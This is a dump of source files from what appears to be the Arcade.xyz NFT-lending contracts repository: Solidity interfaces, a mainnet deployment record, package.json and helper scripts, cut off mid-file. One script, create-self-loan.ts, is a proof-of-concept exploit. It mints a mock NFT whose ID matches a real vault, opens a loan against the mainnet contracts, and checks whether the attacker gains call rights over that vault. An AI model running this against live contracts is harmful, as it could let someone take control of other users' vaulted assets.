| RolloverContractParams contracts; 59 | uint256 loanId; 60 | LoanLibrary.LoanTerms newLoanTerms; 61 | address lender; 62 | uint160 nonce; 63 | uint8 v; 64 | bytes32 r; 65 | bytes32 s; 66 | } 67 | 68 | /** 69 | * Defines the contracts that should be used for a 70 | * flash loan operation. 71 | */ 72 | struct OperationContracts { 73 | ILoanCoreV1 loanCore; 74 | IERC721 borrowerNote; 75 | IERC721 lenderNote; 76 | IFeeController feeController; 77 | IERC721 sourceAssetWrapper; 78 | IVaultFactory targetVaultFactory; 79 | IRepaymentController repaymentController; 80 | IOriginationController originationController; 81 | ILoanCore targetLoanCore; 82 | IERC721 targetBorrowerNote; 83 | } 84 | 85 | function rolloverLoan( 86 | RolloverContractParams calldata contracts, 87 | uint256 loanId, 88 | LoanLibrary.LoanTerms calldata newLoanTerms, 89 | address lender, 90 | uint160 nonce, 91 | uint8 v, 92 | bytes32 r, 93 | bytes32 s 94 | ) external; 95 | 96 | function setOwner(address _owner) external; 97 | 98 | function flushToken(IERC20 token, address to) external; 99 | } -------------------------------------------------------------------------------- /scripts/check-nft-ownership.ts: -------------------------------------------------------------------------------- 1 | /* eslint no-unused-vars: 0 */ 2 | 3 | import { ethers } from "hardhat"; 4 | 5 | import { ERC721, LoanCore, PromissoryNote } from "../typechain"; 6 | 7 | /** 8 | * This script checks ownership by the borrower of a collateralized 9 | * NFT - for example, for Discord token-gated access à la Collab.land. 10 | * 11 | * If this script returns true, it means that the user in question (the USER parameter) 12 | * is currently borrowing against the specified NFT (the NFT parameter). This means 13 | * that they own the NFT and should pass any token-gated access. 14 | * 15 | * The BorrowerNote (BORROWER_NOTE_ADDRESS) contract is the ERC721 representing 16 | * a borrower's obligation in a loan. The LoanCore (LOAN_CORE_ADDRESS) contract 17 | * is the main lending protocol contract, which stores data for each open loan. 18 | * The VaultFactory (VAULT_FACTORY_ADDRESS) is an ERC721 tracking ownership of asset 19 | * vaults, which are smart contracts which can hold "bundles" of multiple items 20 | * of collateral. Each asset vault is its own smart contract whose address is 21 | * equal to the token ID tracked in the vault factory. 22 | */ 23 | export async function main( 24 | USER_ADDRESS: string, 25 | NFT_ADDRESS: string, 26 | BORROWER_NOTE_ADDRESS: string, 27 | LOAN_CORE_ADDRESS: string, 28 | VAULT_FACTORY_ADDRESS: string, 29 | ): Promise { 30 | const noteFactory = await ethers.getContractFactory("PromissoryNote"); 31 | const borrowerNote = await noteFactory.attach(BORROWER_NOTE_ADDRESS); 32 | 33 | const loanCoreFactory = await ethers.getContractFactory("LoanCore"); 34 | const loanCore = await loanCoreFactory.attach(LOAN_CORE_ADDRESS); 35 | 36 | const nftFactory = await ethers.getContractFactory("ERC721"); 37 | const nft = await nftFactory.attach(NFT_ADDRESS); 38 | 39 | // First, check if user has any open loans as a borrower. 40 | const numOpenLoans = (await borrowerNote.balanceOf(USER_ADDRESS)).toNumber(); 41 | 42 | // If no loans, then they can't be borrowing against the NFT. 43 | if (numOpenLoans == 0) return false; 44 | 45 | // If they have loans, check the collateral for each loan. 46 | for (let i = 0; i < numOpenLoans; i++) { 47 | // Get the data structure containing the address and token ID of the collateral. 48 | const loanId = await borrowerNote.tokenOfOwnerByIndex(USER_ADDRESS, i); 49 | const { terms } = await loanCore.getLoan(loanId); 50 | 51 | if (terms.collateralAddress === NFT_ADDRESS) { 52 | // This NFT is being used directly as collateral. 53 | return true; 54 | } else if (terms.collateralAddress === VAULT_FACTORY_ADDRESS) { 55 | // This loan has bundled collateral, so we should 56 | // compute the address of the relevant asset vault contract. 57 | // We simply convert the token ID into a hex string. 58 | const vaultAddress = `0x${terms.collateralId.toHexString()}`; 59 | 60 | // If the vault owns the NFT, the borrower is borrowing against it. 61 | const vaultNftBalance = await nft.balanceOf(vaultAddress); 62 | if (vaultNftBalance.gt(0)) return true; 63 | } 64 | 65 | // This loan is not using the NFT as collateral, so check the borrower's 66 | // next loan. 67 | } 68 | 69 | return false; 70 | } 71 | 72 | // We recommend this pattern to be able to use async/await everywhere 73 | // and properly handle errors. 74 | // if (require.main === module) { 75 | // main() 76 | // .then(() => process.exit(0)) 77 | // .catch((error: Error) => { 78 | // console.error(error); 79 | // process.exit(1); 80 | // }); 81 | // } 82 | -------------------------------------------------------------------------------- /.deployments/mainnet/mainnet-1656441045.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0xB4496F9798cEbd003c5d5a956B5B8f3933178C82", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0xD898456E39A461B102Ce4626Aac191582C38Acb6", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0x6e9B4c2f6Bd57b7b924d29b5dcfCa1273Ecc94A2", 14 | "contractImplementationAddress": "0x21b346622e607fcC936a320D3ab8224fb36B3C0c", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0x41E538817C3311ed032653bEE5487a113F8CfF9F", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0x337104A4f06260Ff327d6734C555A0f5d8F863aa", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0x349A026A43FFA8e2Ab4c4e59FCAa93F87Bd8DdeE", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0x81b2F8Fc75Bab64A6b144aa6d2fAa127B4Fa7fD9", 38 | "contractImplementationAddress": "0xecBaaC1AD75d9444B621d309B0F9C045455d78F5", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0xb39dAB85FA05C381767FF992cCDE4c94619993d4", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0x81b2F8Fc75Bab64A6b144aa6d2fAa127B4Fa7fD9" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0x4c52ca29388A8A854095Fd2BeB83191D68DC840b", 50 | "contractImplementationAddress": "0x2DF5C801F2f082287241C8CB7f3D517C3cbA2620", 51 | "constructorArgs": [] 52 | }, 53 | "ArcadeItemsVerifier": { 54 | "contractAddress": "0xAbfD9D9E4157695DB5812eeE279D923a4f948Df0", 55 | "contractImplementationAddress": "", 56 | "constructorArgs": [] 57 | }, 58 | "FlashRolloverV1toV2": { 59 | "contractAddress": "0x07352eD030C6fd8d12f8258d2DF6f99Cba533dC9", 60 | "constructorArgs": [ 61 | "0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5" 62 | ] 63 | }, 64 | "PunksVerifier": { 65 | "contractAddress": "0x16D99EC34AA91162D71c84BCbE7a7EaD5908B8E2", 66 | "constructorArgs": [ 67 | "0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB" 68 | ] 69 | }, 70 | "VaultInventoryReporter": { 71 | "contractAddress": "0x144b1535A3FF4007Aad8921419EE2e02CFdB8e1d", 72 | "constructorArgs": [ 73 | "Arcade.xyz Inventory Reporter v1.0" 74 | ] 75 | }, 76 | "VaultDepositRouter": { 77 | "contractAddress": "0xFDda20a20cb4249e73e3356f468DdfdfB61483F6", 78 | "constructorArgs": [ 79 | "A0x6e9B4c2f6Bd57b7b924d29b5dcfCa1273Ecc94A2", 80 | "0x144b1535A3FF4007Aad8921419EE2e02CFdB8e1d" 81 | ] 82 | }, 83 | "CallWhitelistApprovals": { 84 | "contractAddress": "0xB4515A8e5616005f7138D9Eb25b581362d9FDB95", 85 | "contractImplementationAddress": "", 86 | "constructorArgs": [] 87 | }, 88 | "AssetVault[Staking]": { 89 | "contractAddress": "0x833835fE565008Fa66FFF31156b78a1FD710bcB5", 90 | "contractImplementationAddress": "", 91 | "constructorArgs": [] 92 | }, 93 | "VaultFactory[Staking]": { 94 | "contractAddress": "0x666faa632E5f7bA20a7FCe36596A6736f87133Be", 95 | "contractImplementationAddress": "0x371e4F7698760Caac721989E5F1AF72B7d6C596f", 96 | "constructorArgs": [] 97 | }, 98 | "FlashRolloverStakingVaultUpgrade": { 99 | "contractAddress": "0x094Db3031258D6204a4CFc99415EB66F9A01A8C6", 100 | "contractImplementationAddress": "", 101 | "constructorArgs": [ 102 | "0xBA12222222228d8Ba445958a75a0704d566BF2C8" 103 | ] 104 | } 105 | } -------------------------------------------------------------------------------- /scripts/deploy/create-self-loan.ts: -------------------------------------------------------------------------------- 1 | import hre, { ethers } from "hardhat"; 2 | import { SECTION_SEPARATOR, SUBSECTION_SEPARATOR } from "../utils/bootstrap-tools"; 3 | 4 | import { MockERC721, LoanCore, VaultFactory, ERC20, OriginationController } from "../../typechain"; 5 | import { createLoanTermsSignature } from "../../test/utils/eip712"; 6 | import { LoanTerms } from "../../test/utils/types"; 7 | 8 | 9 | import { Contract } from "ethers"; 10 | 11 | export async function main(): Promise { 12 | // Hardhat always runs the compile task when running scripts through it. 13 | // If this runs in a standalone fashion you may want to call compile manually 14 | // to make sure everything is compiled 15 | // await run("compile"); 16 | 17 | const [lender, attacker] = await hre.ethers.getSigners(); 18 | 19 | const LOAN_CORE = "0x81b2F8Fc75Bab64A6b144aa6d2fAa127B4Fa7fD9"; 20 | const ORIGINATION_CONTROLLER = "0x4c52ca29388A8A854095Fd2BeB83191D68DC840b"; 21 | const VAULT_FACTORY = "0x6e9B4c2f6Bd57b7b924d29b5dcfCa1273Ecc94A2"; 22 | const TARGET_VAULT_ID = "22521508681063377476196538515358999387259281484"; 23 | const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; 24 | const WETH = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; 25 | 26 | const vaultAddr = ethers.BigNumber.from(TARGET_VAULT_ID).toHexString(); 27 | 28 | const loanCoreFactory = await ethers.getContractFactory("LoanCore"); 29 | const loanCore = await loanCoreFactory.attach(LOAN_CORE); 30 | 31 | const ocFactory = await hre.ethers.getContractFactory("OriginationController"); 32 | const originationController = await ocFactory.attach(ORIGINATION_CONTROLLER); 33 | 34 | const nftFactory = await hre.ethers.getContractFactory("MockERC721"); 35 | const nft = await nftFactory.deploy("Mock721", "M721"); 36 | await nft.deployed(); 37 | 38 | const tokenFactory = await hre.ethers.getContractFactory("ERC20"); 39 | const usdc = await tokenFactory.attach(USDC); 40 | 41 | await usdc.connect(lender).approve(ORIGINATION_CONTROLLER, ethers.constants.MaxUint256); 42 | 43 | // Create the vault and put an NFT in 44 | await nft.mintId(TARGET_VAULT_ID, attacker.address); 45 | await nft.connect(attacker).setApprovalForAll(ORIGINATION_CONTROLLER, true) 46 | 47 | // Start a loan 48 | const terms: LoanTerms = { 49 | durationSecs: 86_400, 50 | principal: ethers.BigNumber.from("10000"), 51 | interestRate: ethers.utils.parseEther("10"), 52 | collateralAddress: nft.address, 53 | collateralId: TARGET_VAULT_ID, 54 | payableCurrency: USDC, 55 | numInstallments: 0, 56 | deadline: Math.floor(Date.now() / 1000 + 1000000) 57 | }; 58 | 59 | const sig = await createLoanTermsSignature( 60 | ORIGINATION_CONTROLLER, 61 | "OriginationController", 62 | terms, 63 | lender, 64 | "2", 65 | 100, 66 | "l" 67 | ); 68 | 69 | await originationController 70 | .connect(attacker) 71 | // .initializeLoan(terms, attacker.address, lender.address, sig, 100, { gasLimit: 10000000 }); 72 | .initializeLoan(terms, attacker.address, lender.address, sig, 100); 73 | 74 | // Created loan 75 | console.log("CREATED LOAN"); 76 | 77 | const canCall = await loanCore.canCallOn(attacker.address, vaultAddr); 78 | 79 | console.log("Vault Address", vaultAddr); 80 | // console.log("Token ID", vaultId.toString()); 81 | console.log("Nft owner", await nft.ownerOf(TARGET_VAULT_ID)); 82 | console.log("Can call", canCall); 83 | } 84 | 85 | 86 | 87 | // We recommend this pattern to be able to use async/await everywhere 88 | // and properly handle errors. 89 | if (require.main === module) { 90 | main() 91 | .then(() => process.exit(0)) 92 | .catch((error: Error) => { 93 | console.error(error); 94 | process.exit(1); 95 | }); 96 | } 97 | -------------------------------------------------------------------------------- /contracts/interfaces/IVaultInventoryReporter.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | interface IVaultInventoryReporter { 6 | // ============= Events ============== 7 | 8 | event Add(address indexed vault, address indexed reporter, bytes32 itemHash); 9 | event Remove(address indexed vault, address indexed reporter, bytes32 itemHash); 10 | event Clear(address indexed vault, address indexed reporter); 11 | event SetApproval(address indexed vault, address indexed target); 12 | event SetGlobalApproval(address indexed target, bool isApproved); 13 | 14 | // ============= Errors ============== 15 | 16 | error VIR_NoItems(); 17 | error VIR_TooManyItems(uint256 maxItems); 18 | error VIR_InvalidRegistration(address vault, uint256 itemIndex); 19 | error VIR_NotVerified(address vault, uint256 itemIndex); 20 | error VIR_NotInInventory(address vault, bytes32 itemHash); 21 | error VIR_NotApproved(address vault, address target); 22 | error VIR_PermitDeadlineExpired(uint256 deadline); 23 | error VIR_InvalidPermitSignature(address signer); 24 | 25 | // ============= Data Types ============== 26 | 27 | enum ItemType { 28 | ERC_721, 29 | ERC_1155, 30 | ERC_20, 31 | PUNKS 32 | } 33 | 34 | struct Item { 35 | ItemType itemType; 36 | address tokenAddress; 37 | uint256 tokenId; // Not used for ERC20 items - will be ignored 38 | uint256 tokenAmount; // Not used for ERC721 items - will be ignored 39 | } 40 | 41 | // ================ Inventory Operations ================ 42 | 43 | function add(address vault, Item[] calldata items) external; 44 | 45 | function remove(address vault, Item[] calldata items) external; 46 | 47 | function clear(address vault) external; 48 | 49 | function addWithPermit( 50 | address vault, 51 | Item[] calldata items, 52 | uint256 deadline, 53 | uint8 v, 54 | bytes32 r, 55 | bytes32 s 56 | ) external; 57 | 58 | function removeWithPermit( 59 | address vault, 60 | Item[] calldata items, 61 | uint256 deadline, 62 | uint8 v, 63 | bytes32 r, 64 | bytes32 s 65 | ) external; 66 | 67 | function clearWithPermit( 68 | address vault, 69 | uint256 deadline, 70 | uint8 v, 71 | bytes32 r, 72 | bytes32 s 73 | ) external; 74 | 75 | function permit( 76 | address owner, 77 | address target, 78 | address vault, 79 | uint256 deadline, 80 | uint8 v, 81 | bytes32 r, 82 | bytes32 s 83 | ) external; 84 | 85 | // solhint-disable-next-line func-name-mixedcase 86 | function DOMAIN_SEPARATOR() external view returns (bytes32); 87 | 88 | // ================ Verification ================ 89 | 90 | function verify(address vault) external view returns (bool); 91 | 92 | function verifyItem(address vault, Item calldata item) external view returns (bool); 93 | 94 | // ================ Enumeration ================ 95 | 96 | function enumerate(address vault) external view returns (Item[] memory); 97 | 98 | function enumerateOrFail(address vault) external view returns (Item[] memory); 99 | 100 | function keys(address vault) external view returns (bytes32[] memory); 101 | 102 | function keyAtIndex(address vault, uint256 index) external view returns (bytes32); 103 | 104 | function itemAtIndex(address vault, uint256 index) external view returns (Item memory); 105 | 106 | // ================ Permissions ================ 107 | 108 | function setApproval(address vault, address target) external; 109 | 110 | function isOwnerOrApproved(address vault, address target) external view returns (bool); 111 | 112 | function setGlobalApproval(address caller, bool isApproved) external; 113 | 114 | function isGloballyApproved(address target) external view returns (bool); 115 | } 116 | -------------------------------------------------------------------------------- /contracts/interfaces/IFlashRolloverBalancer.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 6 | 7 | import "./ILoanCore.sol"; 8 | import "./IOriginationController.sol"; 9 | import "./IRepaymentController.sol"; 10 | import "./IVaultFactory.sol"; 11 | 12 | import "../v1/ILoanCoreV1.sol"; 13 | 14 | interface IFlashLoanRecipient { 15 | /** 16 | * @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient. 17 | * 18 | * At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this 19 | * call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the 20 | * Vault, or else the entire flash loan will revert. 21 | * 22 | * `userData` is the same value passed in the `IVault.flashLoan` call. 23 | */ 24 | function receiveFlashLoan( 25 | IERC20[] memory tokens, 26 | uint256[] memory amounts, 27 | uint256[] memory feeAmounts, 28 | bytes memory userData 29 | ) external; 30 | } 31 | 32 | interface IVault { 33 | /** 34 | * @dev copied from @balancer-labs/v2-vault/contracts/interfaces/IVault.sol, 35 | * which uses an incompatible compiler version. Only necessary selectors 36 | * (flashLoan) included. 37 | */ 38 | function flashLoan( 39 | IFlashLoanRecipient recipient, 40 | IERC20[] memory tokens, 41 | uint256[] memory amounts, 42 | bytes memory userData 43 | ) external; 44 | } 45 | 46 | interface IFlashRolloverBalancer is IFlashLoanRecipient { 47 | event Rollover(address indexed lender, address indexed borrower, uint256 collateralTokenId, uint256 newLoanId); 48 | 49 | event Migration(address indexed oldLoanCore, address indexed newLoanCore, uint256 newLoanId); 50 | 51 | event SetOwner(address owner); 52 | 53 | /** 54 | * The contract references needed to roll 55 | * over the loan. Other dependent contracts 56 | * (asset wrapper, promissory notes) can 57 | * be fetched from the relevant LoanCore 58 | * contracts. 59 | */ 60 | struct RolloverContractParams { 61 | ILoanCoreV1 sourceLoanCore; 62 | ILoanCore targetLoanCore; 63 | IRepaymentController sourceRepaymentController; 64 | IOriginationController targetOriginationController; 65 | IVaultFactory targetVaultFactory; 66 | } 67 | 68 | /** 69 | * Holds parameters passed through flash loan 70 | * control flow that dictate terms of the new loan. 71 | * Contains a signature by lender for same terms. 72 | */ 73 | struct OperationData { 74 | RolloverContractParams contracts; 75 | uint256 loanId; 76 | LoanLibrary.LoanTerms newLoanTerms; 77 | address lender; 78 | uint160 nonce; 79 | uint8 v; 80 | bytes32 r; 81 | bytes32 s; 82 | } 83 | 84 | /** 85 | * Defines the contracts that should be used for a 86 | * flash loan operation. 87 | */ 88 | struct OperationContracts { 89 | ILoanCoreV1 loanCore; 90 | IERC721 borrowerNote; 91 | IERC721 lenderNote; 92 | IFeeController feeController; 93 | IERC721 sourceAssetWrapper; 94 | IVaultFactory targetVaultFactory; 95 | IRepaymentController repaymentController; 96 | IOriginationController originationController; 97 | ILoanCore targetLoanCore; 98 | IERC721 targetBorrowerNote; 99 | } 100 | 101 | function rolloverLoan( 102 | RolloverContractParams calldata contracts, 103 | uint256 loanId, 104 | LoanLibrary.LoanTerms calldata newLoanTerms, 105 | address lender, 106 | uint160 nonce, 107 | uint8 v, 108 | bytes32 r, 109 | bytes32 s 110 | ) external; 111 | 112 | function setOwner(address _owner) external; 113 | 114 | function flushToken(IERC20 token, address to) external; 115 | } -------------------------------------------------------------------------------- /contracts/interfaces/IOriginationController.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "../libraries/LoanLibrary.sol"; 6 | 7 | interface IOriginationController { 8 | // ================ Data Types ============= 9 | 10 | enum Side { 11 | BORROW, 12 | LEND 13 | } 14 | 15 | struct Signature { 16 | uint8 v; 17 | bytes32 r; 18 | bytes32 s; 19 | } 20 | 21 | struct RolloverAmounts { 22 | uint256 needFromBorrower; 23 | uint256 leftoverPrincipal; 24 | uint256 amountToOldLender; 25 | uint256 amountToLender; 26 | uint256 amountToBorrower; 27 | uint256 fee; 28 | } 29 | 30 | // ================ Events ================= 31 | 32 | event Approval(address indexed owner, address indexed signer, bool isApproved); 33 | event SetAllowedVerifier(address indexed verifier, bool isAllowed); 34 | 35 | // ============== Origination Operations ============== 36 | 37 | function initializeLoan( 38 | LoanLibrary.LoanTerms calldata loanTerms, 39 | address borrower, 40 | address lender, 41 | Signature calldata sig, 42 | uint160 nonce 43 | ) external returns (uint256 loanId); 44 | 45 | function initializeLoanWithItems( 46 | LoanLibrary.LoanTerms calldata loanTerms, 47 | address borrower, 48 | address lender, 49 | Signature calldata sig, 50 | uint160 nonce, 51 | LoanLibrary.Predicate[] calldata itemPredicates 52 | ) external returns (uint256 loanId); 53 | 54 | function initializeLoanWithCollateralPermit( 55 | LoanLibrary.LoanTerms calldata loanTerms, 56 | address borrower, 57 | address lender, 58 | Signature calldata sig, 59 | uint160 nonce, 60 | Signature calldata collateralSig, 61 | uint256 permitDeadline 62 | ) external returns (uint256 loanId); 63 | 64 | function initializeLoanWithCollateralPermitAndItems( 65 | LoanLibrary.LoanTerms calldata loanTerms, 66 | address borrower, 67 | address lender, 68 | Signature calldata sig, 69 | uint160 nonce, 70 | Signature calldata collateralSig, 71 | uint256 permitDeadline, 72 | LoanLibrary.Predicate[] calldata itemPredicates 73 | ) external returns (uint256 loanId); 74 | 75 | function rolloverLoan( 76 | uint256 oldLoanId, 77 | LoanLibrary.LoanTerms calldata loanTerms, 78 | address lender, 79 | Signature calldata sig, 80 | uint160 nonce 81 | ) external returns (uint256 newLoanId); 82 | 83 | function rolloverLoanWithItems( 84 | uint256 oldLoanId, 85 | LoanLibrary.LoanTerms calldata loanTerms, 86 | address lender, 87 | Signature calldata sig, 88 | uint160 nonce, 89 | LoanLibrary.Predicate[] calldata itemPredicates 90 | ) external returns (uint256 newLoanId); 91 | 92 | // ================ Permission Management ================= 93 | 94 | function approve(address signer, bool approved) external; 95 | 96 | function isApproved(address owner, address signer) external returns (bool); 97 | 98 | function isSelfOrApproved(address target, address signer) external returns (bool); 99 | 100 | function isApprovedForContract( 101 | address target, 102 | Signature calldata sig, 103 | bytes32 sighash 104 | ) external returns (bool); 105 | 106 | // ============== Signature Verification ============== 107 | 108 | function recoverTokenSignature( 109 | LoanLibrary.LoanTerms calldata loanTerms, 110 | Signature calldata sig, 111 | uint160 nonce, 112 | Side side 113 | ) external view returns (bytes32 sighash, address signer); 114 | 115 | function recoverItemsSignature( 116 | LoanLibrary.LoanTerms calldata loanTerms, 117 | Signature calldata sig, 118 | uint160 nonce, 119 | Side side, 120 | bytes32 itemsHash 121 | ) external view returns (bytes32 sighash, address signer); 122 | 123 | // ============== Admin Operations ============== 124 | 125 | function setAllowedVerifier(address verifier, bool isAllowed) external; 126 | 127 | function setAllowedVerifierBatch(address[] calldata verifiers, bool[] calldata isAllowed) external; 128 | 129 | function isAllowedVerifier(address verifier) external view returns (bool); 130 | } 131 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "@arcadexyz/v2-contracts", 3 | "description": "Smart contracts for Arcade.xyz", 4 | "version": "2.0.0", 5 | "repository": "https://github.com/arcadexyz/v2-contracts", 6 | "devDependencies": { 7 | "@aave/protocol-v2": "^1.0.1", 8 | "@commitlint/cli": "^9.1.2", 9 | "@commitlint/config-conventional": "^9.1.2", 10 | "@ethersproject/abstract-signer": "^5.0.6", 11 | "@ethersproject/bignumber": "^5.0.8", 12 | "@nomiclabs/hardhat-ethers": "^2.0.6", 13 | "@nomiclabs/hardhat-etherscan": "^3.0.4", 14 | "@nomiclabs/hardhat-waffle": "^2.0.1", 15 | "@openzeppelin/contracts": "4.3.2", 16 | "@typechain/ethers-v5": "^5.0.0", 17 | "@typechain/hardhat": "^1.0.1", 18 | "@types/chai": "^4.2.13", 19 | "@types/fs-extra": "^9.0.1", 20 | "@types/mocha": "^7.0.2", 21 | "@types/node": "^14.11.8", 22 | "@typescript-eslint/eslint-plugin": "^3.10.1", 23 | "@typescript-eslint/parser": "^3.10.1", 24 | "chai": "^4.2.0", 25 | "commitizen": "^4.2.1", 26 | "cz-conventional-changelog": "^3.3.0", 27 | "dotenv": "^8.2.0", 28 | "eslint": "^7.11.0", 29 | "eslint-config-prettier": "^6.12.0", 30 | "ethereum-waffle": "^3.4.4", 31 | "ethereumjs-util": "^7.0.10", 32 | "ethers": "5.6.1", 33 | "fs-extra": "^9.0.1", 34 | "hardhat": "^2.0.10", 35 | "hardhat-contract-sizer": "^2.5.1", 36 | "hardhat-gas-reporter": "^1.0.4", 37 | "husky": "^4.3.0", 38 | "mocha": "^8.1.3", 39 | "node-fetch": "2", 40 | "prettier": "^2.1.2", 41 | "prettier-plugin-solidity": "^1.0.0-beta.1", 42 | "shelljs": "^0.8.4", 43 | "solc-0.8": "npm:solc@^0.8.11", 44 | "solhint": "^3.2.1", 45 | "solhint-plugin-prettier": "^0.0.5", 46 | "solidity-coverage": "^0.7.12", 47 | "solidity-docgen": "^0.5.13", 48 | "solidity-stringutils": "Arachnid/solidity-stringutils", 49 | "ts-generator": "^0.1.1", 50 | "ts-node": "^8.10.2", 51 | "typechain": "^4.0.1", 52 | "typescript": "<4.1.0" 53 | }, 54 | "resolutions": { 55 | "dot-prop": ">4.2.1", 56 | "elliptic": ">=6.5.4", 57 | "lodash": ">=4.17.21", 58 | "set-value": ">4.0.1", 59 | "underscore": ">=1.12.1", 60 | "yargs-parser": ">=5.0.1" 61 | }, 62 | "files": [ 63 | "/contracts" 64 | ], 65 | "keywords": [ 66 | "blockchain", 67 | "ethereum", 68 | "hardhat", 69 | "smart-contracts", 70 | "solidity" 71 | ], 72 | "license": "MIT", 73 | "scripts": { 74 | "clean": "hardhat clean", 75 | "commit": "git-cz", 76 | "compile": "hardhat compile", 77 | "coverage": "hardhat coverage --solcoverjs ./.solcover.js --temp artifacts --testfiles \"./test/**/*.ts\"", 78 | "gendocs": "solidity-docgen -i ./contracts --solc-module solc-0.8", 79 | "lint": "yarn run lint:sol && yarn run lint:ts && yarn run prettier:list-different", 80 | "lint:fix": "yarn run prettier && yarn run lint:sol:fix && yarn run lint:ts:fix", 81 | "lint:sol": "solhint --config ./.solhint.json --max-warnings 0 \"contracts/**/*.sol\"", 82 | "lint:sol:fix": "solhint --config ./.solhint.json --fix --max-warnings 0 \"contracts/**/*.sol\"", 83 | "lint:ts": "eslint --config ./.eslintrc.yaml --ignore-path ./.eslintignore --ext .js,.ts .", 84 | "lint:ts:fix": "eslint --config ./.eslintrc.yaml --fix --ignore-path ./.eslintignore --ext .js,.ts .", 85 | "prettier": "prettier --config .prettierrc --write \"**/*.{js,json,md,sol,ts}\"", 86 | "prettier:list-different": "prettier --config .prettierrc --list-different \"**/*.{js,json,md,sol,ts}\"", 87 | "solc-0.8": "npm:solc@^0.8.11", 88 | "solidity-docgen": "^0.5.13", 89 | "test": "hardhat test", 90 | "test-deploy": "hardhat clean && hardhat compile && hardhat test scripts/deploy/test/e2e.ts", 91 | "typechain": "hardhat typechain", 92 | "bootstrap-with-loans": "npx hardhat --network localhost run scripts/bootstrap-state-with-loans.ts", 93 | "bootstrap-no-loans": "npx hardhat --network localhost run scripts/bootstrap-state-no-loans.ts", 94 | "verify-contracts": "ts-node scripts/verify-contracts.ts", 95 | "setup-roles": "ts-node scripts/utils/setup-roles.ts" 96 | }, 97 | "dependencies": { 98 | "@balancer-labs/v2-vault": "^2.0.0", 99 | "@openzeppelin/contracts-upgradeable": "4.5.2", 100 | "@openzeppelin/hardhat-upgrades": "^1.17.0" 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /scripts/deploy/write-json.ts: -------------------------------------------------------------------------------- 1 | import fs from "fs"; 2 | import path from "path"; 3 | import hre, { upgrades } from "hardhat"; 4 | import { BigNumberish } from "ethers"; 5 | 6 | export interface ContractData { 7 | contractAddress: string; 8 | contractImplementationAddress?: string; 9 | constructorArgs: BigNumberish[]; 10 | } 11 | 12 | export interface DeploymentData { 13 | [contractName: string]: ContractData; 14 | } 15 | 16 | export async function writeJson( 17 | assetVaultAddress: string, 18 | feeControllerAddress: string, 19 | borrowerNoteAddress: string, 20 | lenderNoteAddress: string, 21 | repaymentContAddress: string, 22 | whitelistAddress: string, 23 | vaultFactoryAddress: string, 24 | loanCoreAddress: string, 25 | originationContAddress: string, 26 | verifierAddress: string, 27 | bNoteName: string, 28 | bNoteSymbol: string, 29 | lNoteName: string, 30 | lNoteSymbol: string, 31 | ): Promise { 32 | const timestamp = Math.floor(new Date().getTime() / 1000); 33 | const networkName = hre.network.name; 34 | const deploymentsFolder = `.deployments`; 35 | const jsonFile = `${networkName}-${timestamp}.json`; 36 | 37 | const deploymentsFolderPath = path.join(__dirname, "../../", deploymentsFolder); 38 | if (!fs.existsSync(deploymentsFolderPath)) fs.mkdirSync(deploymentsFolderPath); 39 | 40 | const networkFolderPath = path.join(deploymentsFolderPath, networkName); 41 | if (!fs.existsSync(networkFolderPath)) fs.mkdirSync(networkFolderPath); 42 | 43 | const contractInfo = await createInfo( 44 | assetVaultAddress, 45 | feeControllerAddress, 46 | borrowerNoteAddress, 47 | lenderNoteAddress, 48 | repaymentContAddress, 49 | whitelistAddress, 50 | vaultFactoryAddress, 51 | loanCoreAddress, 52 | originationContAddress, 53 | verifierAddress, 54 | bNoteName, 55 | bNoteSymbol, 56 | lNoteName, 57 | lNoteSymbol, 58 | ); 59 | 60 | fs.writeFileSync( 61 | path.join(networkFolderPath, jsonFile), 62 | JSON.stringify(contractInfo, undefined, 2) 63 | ); 64 | 65 | console.log("Contract info written to: ", path.join(networkFolderPath, jsonFile)); 66 | } 67 | 68 | export async function createInfo( 69 | assetVaultAddress: string, 70 | feeControllerAddress: string, 71 | borrowerNoteAddress: string, 72 | lenderNoteAddress: string, 73 | repaymentContAddress: string, 74 | whitelistAddress: string, 75 | vaultFactoryAddress: string, 76 | loanCoreAddress: string, 77 | originationContAddress: string, 78 | verifierAddress: string, 79 | bNoteName: string, 80 | bNoteSymbol: string, 81 | lNoteName: string, 82 | lNoteSymbol: string, 83 | ): Promise { 84 | const contractInfo: DeploymentData = {}; 85 | 86 | contractInfo["CallWhitelist"] = { 87 | contractAddress: whitelistAddress, 88 | contractImplementationAddress: "", 89 | constructorArgs: [] 90 | }; 91 | 92 | contractInfo["AssetVault"] = 